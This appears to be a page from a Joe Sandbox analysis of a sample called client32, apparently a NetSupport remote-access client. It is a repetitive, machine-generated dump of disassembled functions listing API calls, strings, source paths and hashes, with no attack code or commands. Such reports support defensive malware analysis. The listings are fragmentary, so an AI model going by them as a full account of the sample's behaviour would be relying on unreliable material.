Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 8ccc2bf3d075cb4470613d9a582e19481d5e19c5ba5466d2fc61ee55f0f68dd2
Instruction ID: b8b94bd42515a6f19c70bc81b3c192d65964a6c5da2ad5a69908043983276998
Opcode Fuzzy Hash: 8ccc2bf3d075cb4470613d9a582e19481d5e19c5ba5466d2fc61ee55f0f68dd2
Instruction Fuzzy Hash: BB31E475D002169FDB05CF64D890BEEF7B8EB05369F44066DD926A7280DB72A904CF92

Function 11135700 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 91synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000264,000003E8), ref: 1113572F
GetTickCount.KERNEL32 ref: 1113578C

Part of subcall function 111449B0: GetTickCount.KERNEL32 ref: 11144A18

wsprintfA.USER32 ref: 111357BC

Part of subcall function 110B86C0: ExitProcess.KERNEL32 ref: 110B8702

WaitForSingleObject.KERNEL32(00000264,000003E8), ref: 11135802

Strings

Client possibly unresponsive for %d ms (tid=%d)Callstack:, xrefs: 111357B6
ResponseChk, xrefs: 11135717
UI.CPP, xrefs: 111357E9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$ExitProcesswsprintf
String ID: Client possibly unresponsive for %d ms (tid=%d)Callstack:$ResponseChk$UI.CPP
API String ID: 2020353970-2880927372
Opcode ID: 5a95c3d6314c03e37156d318e81db83d91de3644f47b7d5644618cf8ee851fd7
Instruction ID: 29029577b4cabcdd66728ddaf58dbb832e5c2d1ab8d81411842bafe300cf0b31
Opcode Fuzzy Hash: 5a95c3d6314c03e37156d318e81db83d91de3644f47b7d5644618cf8ee851fd7
Instruction Fuzzy Hash: 4331F431A01166DBE711CFA5CDC0FAAF3B8FB44719F400678E961DB688DB71A944CB91

Function 110F1600 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 85fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 110F1655
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 110F166A

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F16C3
CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F1708

Strings

nsmvxd.386, xrefs: 110F168B
pcdvxd.386, xrefs: 110F16CD
\\.\, xrefs: 110F163B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateName$ModulePathShort_strrchr
String ID: \\.\$nsmvxd.386$pcdvxd.386
API String ID: 1318148156-3179819359
Opcode ID: ec37fd08034eecc1aa46bd3ea59472c8ef6a7d7ee5c862681b8016f31a87d41d
Instruction ID: 97078bb132b3f47e4dd387b208782a62a76e0766a2a430eba886c9c4ac9a83c1
Opcode Fuzzy Hash: ec37fd08034eecc1aa46bd3ea59472c8ef6a7d7ee5c862681b8016f31a87d41d
Instruction Fuzzy Hash: 1A318130A44725AFD320DF64C891BD6B7F4BB1D708F008568E2A99B6C5D7B1B588CF94

Function 110817B0 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 11081859

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsA(), xrefs: 110817CF, 1108189B
!m_bReadOnly, xrefs: 11081831
m_nLength>=nBytes, xrefs: 11081874
pData, xrefs: 11081814
..\CTL32\DataStream.cpp, xrefs: 110817CA, 110817E8, 1108180F, 1108182C, 1108186F, 11081896
nBytes>=0, xrefs: 110817ED

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: !m_bReadOnly$..\CTL32\DataStream.cpp$IsA()$m_nLength>=nBytes$nBytes>=0$pData
API String ID: 1528188558-3417006389
Opcode ID: 6f86106b110defa54479cabce7875bddb0ed7807cbaf2af13202954436eb8da3
Instruction ID: 6b38151c30adb73325f8e92f0dfc04dea1f0409a136c72edecfa6b672fa6b7b9
Opcode Fuzzy Hash: 6f86106b110defa54479cabce7875bddb0ed7807cbaf2af13202954436eb8da3
Instruction Fuzzy Hash: 1A210B3DF187617FC602DE45BC83F9BF7E45F9165CF048039EA4627241E671A804C6A2

Function 1103F720 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

ExtractIconA.SHELL32(00000000,?,00000000), ref: 1103F76C
SetDlgItemTextA.USER32(?,00000471,?), ref: 1103F784
DestroyCursor.USER32(00000000), ref: 1103F7A1
SetDlgItemTextA.USER32(?,00000471,00000000), ref: 1103F7B4
UpdateWindow.USER32(00000000), ref: 1103F7F2

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1103F7DC
m_hWnd, xrefs: 1103F7E1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText$CursorDestroyExtractIconUpdateWindow_strrchr
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3726914545-2830328467
Opcode ID: 73bb6436336379db390de3057b4568d21503c8f708411fbe6b6bfc52bf0a24e6
Instruction ID: 7fabd73ab2c015b19e51bb87ae7bab873905cbda80a3d362d09b7776c5ddc496
Opcode Fuzzy Hash: 73bb6436336379db390de3057b4568d21503c8f708411fbe6b6bfc52bf0a24e6
Instruction Fuzzy Hash: 4C21D1B9B40315BFE6219AA1DC86F5BB7A8AFC5B05F104418F79A9B2C0DBB4B4008756

Function 1115F620 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1115F62F
_memset.LIBCMT ref: 1115F64B
GetMenuItemID.USER32(?,00000000), ref: 1115F65C

Part of subcall function 111439A0: _memset.LIBCMT ref: 111439C9
Part of subcall function 111439A0: GetVersionExA.KERNEL32(?), ref: 111439E2

CheckMenuItem.USER32(?,00000000,00000000), ref: 1115F698
EnableMenuItem.USER32(?,00000000,00000000), ref: 1115F6AE
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 1115F6C4

Strings

0, xrefs: 1115F655

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$_memset$CheckCountEnableInfoVersion
String ID: 0
API String ID: 176136580-4108050209
Opcode ID: 952994a233711950fdab02d23ca0bcaac5a8ee4e392a6680f60084daabe75429
Instruction ID: be0221c4a5135c336c62c383b80ea9a6d71c1dc3530fa78f313eaeef8d4c2bd6
Opcode Fuzzy Hash: 952994a233711950fdab02d23ca0bcaac5a8ee4e392a6680f60084daabe75429
Instruction Fuzzy Hash: C621A17591111AABE741DB74CE84FAFBBACEF46358F104025F961E6160DB74DA00C772

Function 110812A0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 74COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1108132F
_memset.LIBCMT ref: 11081318

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsA(), xrefs: 110812BE, 11081373
pData, xrefs: 110812FC
..\CTL32\DataStream.cpp, xrefs: 110812B9, 110812D9, 110812F7, 11081346, 1108136E
m_iPos>=nBytes, xrefs: 1108134B
nBytes>=0, xrefs: 110812DE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmove_memsetwsprintf
String ID: ..\CTL32\DataStream.cpp$IsA()$m_iPos>=nBytes$nBytes>=0$pData
API String ID: 75970324-4264523126
Opcode ID: d8c9cfc558a83648f442f3398f9905bd9548d166cd1f75af1a89d4c0a32f60db
Instruction ID: 3f790bad6e390bc8ea8a8f21c3872a9d67b2f4e4425326796fba8d3d5e2d5bab
Opcode Fuzzy Hash: d8c9cfc558a83648f442f3398f9905bd9548d166cd1f75af1a89d4c0a32f60db
Instruction Fuzzy Hash: 6B11EB7DF143126FC605DF41EC43F9AF3D4AF9064CF108039E94A27241E571B808C6A1

Function 1103F450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 1103F466
FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103F47C
IsWindow.USER32(00000000), ref: 1103F484
Sleep.KERNEL32(00000014), ref: 1103F497
FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103F4A7
IsWindow.USER32(00000000), ref: 1103F4AF

Strings

PCIVideoSlave32, xrefs: 1103F477, 1103F49F

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Find$Sleep
String ID: PCIVideoSlave32
API String ID: 2137649973-2496367574
Opcode ID: f9403fe9dea3d152aead7fa3d2adf20292fef7f356e696344d66dd2b7210a141
Instruction ID: 349d86511175fe1d1df632f2bffc72f1f56a45a46628263fa2557b0125cca1c8
Opcode Fuzzy Hash: f9403fe9dea3d152aead7fa3d2adf20292fef7f356e696344d66dd2b7210a141
Instruction Fuzzy Hash: 44F0A473A4122A6EDB01EFF98DC4FA6B7D8AB84699F410074E968D7109F634E8014777

Function 11003400 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100340E
GetSubMenu.USER32(00000000,00000000), ref: 1100343A
GetSubMenu.USER32(00000000,00000000), ref: 1100345C
DestroyMenu.USER32(00000000), ref: 1100346A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\CTL32\annotate.cpp, xrefs: 1100341F, 11003447
hSub, xrefs: 1100344C
hMenu, xrefs: 11003424

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: cb09c6b33aa2397f6040dc9ac8fe113c92c7d1ba2ee6536d01521099fc9f1030
Instruction ID: 1378fb0f7ab2c0978cd4d50cac7dc25882af45c4d25f08e40c7e232078aa5069
Opcode Fuzzy Hash: cb09c6b33aa2397f6040dc9ac8fe113c92c7d1ba2ee6536d01521099fc9f1030
Instruction Fuzzy Hash: B3F0E93AE9063573E25252A71C86F9FE2488B45699F500032F926BA580EA14B80043E9

Function 11003310 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100331D
GetSubMenu.USER32(00000000,00000000), ref: 11003343
GetMenuItemCount.USER32(00000000), ref: 11003367
DestroyMenu.USER32(00000000), ref: 11003379

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\CTL32\annotate.cpp, xrefs: 1100332E, 11003354
hSub, xrefs: 11003359
hMenu, xrefs: 11003333

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: 85d4a40678ea7b6d13a0383658e2681328b2af046e894752399e51aa99d6900d
Instruction ID: a78e3c2f88e64c1b086a81e8c9a2b46f663d882bee818e15e56a3ec0b04889ae
Opcode Fuzzy Hash: 85d4a40678ea7b6d13a0383658e2681328b2af046e894752399e51aa99d6900d
Instruction Fuzzy Hash: AEF02E36E9093A73D25212B72C4AFCFF6584F456ADB500031F922B5645EE14A40053A9

Function 11025712 Relevance: 12.1, APIs: 8, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000050), ref: 11025766
_strncat.LIBCMT ref: 1102577B
SetWindowTextA.USER32(?,?), ref: 11025788

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

GetDlgItemTextA.USER32(?,00001395,?,00000040), ref: 11025814
GetDlgItemTextA.USER32(?,00001397,?,00000040), ref: 11025828
SetDlgItemTextA.USER32(?,00001397,?), ref: 11025840
SetDlgItemTextA.USER32(?,00001395,?), ref: 11025852
SetFocus.USER32(?), ref: 11025855

Part of subcall function 11025260: GetDlgItem.USER32(?,?), ref: 110252B0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$Item$Window$Focus_malloc_memset_strncatwsprintf
String ID:
API String ID: 3832070631-0
Opcode ID: 2b61e4ef957feb7ce17a8024798aa9246a1c5d1c409547fc379c5c00eb05ef8b
Instruction ID: bfe7d5249f4b6e1d02486e1e3511efca77028c7631b8c8a816f62769cf0b8b3d
Opcode Fuzzy Hash: 2b61e4ef957feb7ce17a8024798aa9246a1c5d1c409547fc379c5c00eb05ef8b
Instruction Fuzzy Hash: 5D41A1B1A40349ABE710DB74CC85BBAF7F8FB44714F004969E62A97680EBB4A904CB54

Function 110EF790 Relevance: 12.1, APIs: 8, Instructions: 84filememoryCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,111323D6,00000000,?), ref: 110EF7A8
ReadFile.KERNEL32(00000000,00000000,0000000E,?,00000000,?,111323D6,00000000,?), ref: 110EF7BD
GlobalAlloc.KERNEL32(00000042,-0000000E,00000000), ref: 110EF7DF
GlobalLock.KERNEL32(00000000), ref: 110EF7EC
ReadFile.KERNEL32(00000000,00000000,-0000000E,0000000E,00000000), ref: 110EF7FB
GlobalUnlock.KERNEL32(00000000), ref: 110EF80B
GlobalUnlock.KERNEL32(00000000), ref: 110EF825
GlobalFree.KERNEL32(00000000), ref: 110EF82C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
